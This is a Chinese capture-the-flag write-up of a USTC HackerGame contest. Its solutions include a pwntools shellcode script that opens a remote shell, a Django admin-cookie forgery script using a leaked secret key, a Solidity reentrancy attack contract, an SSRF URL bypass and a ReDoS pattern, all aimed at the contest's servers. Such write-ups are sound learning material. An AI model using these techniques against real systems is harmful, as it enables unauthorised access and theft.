去年参加了 USTCLUG 的 HackerGame, 今年我又来答题啦(

签到题

题目很简单, 你只需要把按钮的 disabled 属性删掉就能拿到 flag 了

白与夜

这题也很简单,我直接拖进 GIMP 就拿到了 Flag

GIMP.png

信息安全 2077

打开 Inspector 可以看到题目的 Javascript 代码

 1(function () {
 2    var now = new Date().toUTCString()
 3    var main = document.getElementsByTagName('main')[0]
 4    var ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36'
 5    fetch('flag.txt', {method: 'POST', headers: {'If-Unmodified-Since': now, 'User-Agent': ua}}).then(function (res) {
 6    if (res.ok) {
 7        res.text().then(function (text) {
 8        main.innerText = 'The flag is "' + text + '".'
 9        })
10    } else {
11        var lastModified = res.headers.get('Last-Modified')
12        setInterval(function () {
13        var diff = (new Date(lastModified).getTime() - Date.now()) / 1000
14        var diffSeconds = Math.floor(diff % 86400), diffDays = Math.floor(diff / 86400)
15        main.innerText = 'Not yet! The competition will start after ' + diffDays + ' days and ' + diffSeconds + ' seconds.'
16        }, 1000)
17    }
18    })
19})()

根据代码, 我们需要 POST 一个 lastModified 匹配的 If-Unmodified-Since 到 flag.txt

那么我们直接用

1fetch('flag.txt', {method: 'POST', headers: {'If-Unmodified-Since': 'Fri, 01 Oct 2077 00:00:00 GMT'}}).then(res => res.text()).then(console.log)

就可以拿到 flag 了

宇宙终极问题

我只找到一个 42 的, 这题 Google 题(确信

网页读取器

下载代码, 可以看到检查 hostname 的逻辑

我们可以看到他会 strip @ 前面的内容

我们可以构造出如下的 URL

http://web/flag?@example.com

达拉崩吧大冒险

打开题目, 把玩一阵之后发现在加攻击力的地方没有进行校验, 那我们可以通过输入负数来让我们的攻击力溢出

直接 DevTools 修改 Option 的 value 为 -2700000000000000000 然后提交就好了

Happy LUG

看到题目中的

虽然浏览器访问不了,但这个域名确实是存在着的。

我就知道应该是获取这个域名的 TXT 内容

当时做题的时候我一直给 ustclug 中间加了点, 然后一直拿不到记录, 知道有人提醒我换行没有点才反应过来(跑

正则验证器

是利用正则表达式的灾难性回溯卡 Python 一秒来获取 flag

拓展阅读

Regex: (a*)*$
String: aaaaaaaaaaaaaaaaaaaaaaab

这道题长度卡的太死了(不然肯定各种奇怪的正则(跑

利用 regex101 也可以看到 Catastrophic Backtracking 的提示

image.png

不同寻常的 Python 考试

这题不讲,嗯 各种 Python 的奇怪判断

拿了 75 分, 要暴打出题人(被打

小巧玲珑的 ELF

直接 ELF 拖进 IDA Pro 就可以看到内部逻辑 然后写一个程序自动求解

 1const data = [
 2    102, 110, 101, 107, -125, 78, 109, 116, -123, 122, 111,
 3    87, -111, 115, -112, 79, -115, 127, 99, 54, 108, 110,
 4    -121, 105, -93, 111, 88, 115, 102, 86, -109, -97, 105, 
 5    112, 56, 118, 113, 120, 111, 99, -60, -126, -124, -66, -69, -51
 6]
 7
 8const rbit = data.map((it, index) => {
 9    let i = it + index
10
11    i ^= index
12    i -= 2 * index
13
14    return i
15})
16
17console.log(Buffer.from(rbit).toString())

Shell 骇客

只做了第一题, 我永远喜欢 PwnTools (跑

1from pwn import *
2import time
3context(arch = 'x86_64', os = 'linux')
4
5r = remote('202.38.93.241', 10000)
6time.sleep(1)
7r.sendline('Token')
8r.sendline(asm(shellcraft.sh()))
9r.interactive()

找到了 pwn.encoders.encoder.encode 这个方法, 但是没找到 msfvenom 这个工具, 可能还是我太菜了

而且我还把 target 当成 x64 了(捂脸

三教奇妙夜

参考 https://stackoverflow.com/questions/37088517/ffmpeg-remove-sequentially-duplicate-frames 删除重复帧然后把帧抽成图片

1ffmpeg -i input.mp4 -vf mpdecimate,setpts=N/FRAME_RATE/TB out.mp4
2ffmpeg -i out.mp4 -f image2 %02d.png

献给最好的你

反编译 JAR, 找到

com.hackergame.eternalEasterlyWind.data.LoginDataSource

看到了一串 base64

然后看了下前面的逻辑是把小写转大写, 大写转小写, 反操作一下就拿到了密码

这时候打开 app 输入就拿到 flag 了(懒得看下面代码

天书残篇

搜索一通发现是 Whitespace (programming language)

找到一个 在线 IDE

找到 label 53 发现是输出 Congratulations

于是往回推就找到了怎么生成的 flag

我想要个家

一开始是想拿 Docker 来做, 然后发现 scratch 还是有 /proc 目录 然后我就想到了 chroot

我直接塞了一个 busybox 进了 chroot 于是 sleep 10s 我就直接

/busybox sleep 10

要注意要把 host 上的 /dev 挂载到 chroot 下

mount --rbind /dev dev/

被泄漏的姜戈

自己构造的 admin cookie, 学习了很多 django 相关的东西(跑

 1#!/usr/bin/python3
 2
 3import base64
 4import datetime
 5import json
 6import re
 7import time
 8import zlib
 9import hmac
10import hashlib
11from django.utils import baseconv
12from django.core.signing import Signer
13
14USER_SALT = "d7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39"
15
16def b64_encode(s):
17    return base64.urlsafe_b64encode(s).strip(b'=')
18
19def b64_decode(s):
20    pad = '=' * (len(s) % 4)
21    return base64.urlsafe_b64decode(s + str(pad))
22
23
24def base64_hmac(salt, value, key):
25    return b64_encode(salted_hmac(salt, value, key).digest()).decode()
26
27def unzip(value):
28    v = b64_decode(value)
29    data = zlib.decompress(v)
30
31    return data
32
33result = unzip("eJxVjDEOwjAMRe_iGUVNZCUxIztniFw7JQWUSE07Ie4OlTrA-t97_wWJt7WkreclzQpnsHD63UaWR6470DvXWzPS6rrMo9kVc9Burk3z83K4fweFe_nWEwX0njJ7DDIMSDGyY0JyFicrqBxInUR4fwDjcTDI")
34print(result)
35
36
37def force_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
38    """
39    Similar to smart_bytes, except that lazy instances are resolved to
40    strings, rather than kept as lazy objects.
41    If strings_only is True, don't convert (some) non-string-like objects.
42    """
43    # Handle the common case first for performance reasons.
44    if isinstance(s, bytes):
45        if encoding == 'utf-8':
46            return s
47        else:
48            return s.decode('utf-8', errors).encode(encoding, errors)
49    if strings_only and is_protected_type(s):
50        return s
51    if isinstance(s, memoryview):
52        return bytes(s)
53    return str(s).encode(encoding, errors)
54
55
56def hash_password(password):
57    key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
58    key = hashlib.sha1(force_bytes(key_salt) + force_bytes(USER_SALT)).digest()
59
60    return hmac.new(key, msg=force_bytes(password), digestmod=hashlib.sha1).hexdigest()
61
62print(hash_password("pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE="))
63
64new_doc = b'{"_auth_user_id":"1","_auth_user_backend":"django.contrib.auth.backends.ModelBackend","_auth_user_hash":"569127665f950beb6dd4a55098a8768f58814b04"}'
65
66def sign(doc):
67    d = zlib.compress(doc)
68    d = "." + b64_encode(d).decode()
69    ts = baseconv.base62.encode(int(time.time()))
70
71    value = '%s:%s' % (d, ts)
72    s = Signer(key=USER_SALT, salt="django.contrib.sessions.backends.signed_cookies")
73
74    return s.sign(value)
75
76
77print(sign(new_doc))

PowerShell 迷宫

这题没啥难点,就拿 Powershell 暴力搜就完事了

 1using namespace System.Collections.Generic
 2using namespace System
 3
 4function Sacn($dir, $d) {
 5    $pos = [Tuple[int, int]]::new($_.X, $_.Y)
 6    $path = "$dir/$d"
 7    Write-Output "Scan dir: $path"
 8    (Get-ChildItem $path) | ForEach-Object {
 9        if (!([string]::IsNullOrEmpty($_.Flag))) {
10            Write-Output $_.Flag
11            Exit
12        }
13    }
14
15    (Get-ChildItem $path) | ForEach-Object {
16        $dire = $_.Direction
17
18        $isScan = $true
19        $nextPost = [Tuple[int, int]]::new($_.X, $_.Y)
20
21        if ($dire -eq "Left") {
22            $nextPost = [Tuple[int, int]]::new($_.X - 1, $_.Y)
23
24            if ($d -eq "Right") {
25                $isScan = $false
26            }
27        }
28        if ($dire -eq "Up") {
29            $nextPost = [Tuple[int, int]]::new($_.X, $_.Y + 1)
30            if ($d -eq "Down") {
31                $isScan = $false
32            }
33        }
34        if ($dire -eq "Right") {
35            $nextPost = [Tuple[int, int]]::new($_.X + 1, $_.Y)
36            if ($d -eq "Left") {
37                $isScan = $false
38            }
39        }
40        if ($dire -eq "Down") {
41            $nextPost = [Tuple[int, int]]::new($_.X, $_.Y - 1)
42            if ($d -eq "Up") {
43                $isScan = $false
44            }
45        }
46
47        if (!($list -contains $nextPost)) {
48            if ($isScan) {
49                Sacn "$path" $dire
50            }
51        }
52        
53    }
54}
55
56Sacn ./Down Right

最大难题就是我不是 DotNet 教的(跑

韭菜银行

第一小题可以直接看见 private 中 init 的值

 1O = 1940577538063170034860903343625652396
 2
 3result = []
 4
 5for index in range(32):
 6    b = (O >> (index * 4)) & 0xF
 7
 8    if b < 10:
 9        result.append(b + 48)
10    else:
11        result.append(b + 87)
12    
13result.reverse()
14print("".join(map(chr, result)))

第二题是著名的 The DAO 的攻击

我写的攻击合约是这样的

 1pragma solidity >=0.4.26;
 2
 3contract Target {
 4    function withdraw(uint amount) public;
 5    function get_flag_2(uint user_id) public;
 6    function deposit() public payable;
 7}
 8
 9contract JCBankHacker {
10    address owner;
11    address bank;
12    uint balanceInBank;
13    uint step;
14    
15    modifier ownerOnly { require(owner == msg.sender); _; }
16    
17    constructor (address b) public {
18        owner = msg.sender;
19        bank = b;
20        step = 0;
21    }
22    
23    function setBankAddr(address bankAddr) ownerOnly {
24        bank = bankAddr;
25    }
26    
27    function killWorld() ownerOnly {
28        selfdestruct(owner);
29    }
30    
31    function getFlag() ownerOnly {
32        Target bankInstance = Target(bank);
33        bankInstance.get_flag_2(1);
34    }
35    
36    // Attack implements
37    function () payable {
38        Target bankInstance = Target(bank);
39        
40        if (step == 0) {
41            bankInstance.deposit.value(msg.value)();
42            step += 1;
43            bankInstance.withdraw(msg.value);
44        }
45        
46        if (step == 1) {
47            step = 2;
48            bankInstance.withdraw(msg.value);
49        }
50    }
51}

没有 BUG 的教务系统

只做了第一题, 发现密码化简一下是三个 XOR

 1origin = [
 2    0x44,0x00,0x02,0x41,0x43,0x47,0x10,0x63,0x00
 3]
 4
 5import sys
 6
 7r = list(range(8))
 8r.reverse()
 9
10for index in r:
11    # (A XOR B) XOR i
12    origin[index] ^= index
13    origin[index] ^= origin[index + 1]
14
15for char in origin[:-1]:
16    sys.stdout.write(chr(char))

总结

这次 HackerGame 还是比较有意思的

据内部人员说一开始都想出难题(感觉到了)然后后面加了几个简单的题 然后题目数量爆炸 真的多

再加上这几天都在摸鱼没怎么搞(不是

最后拿了 top40 也满足了(跑

image.png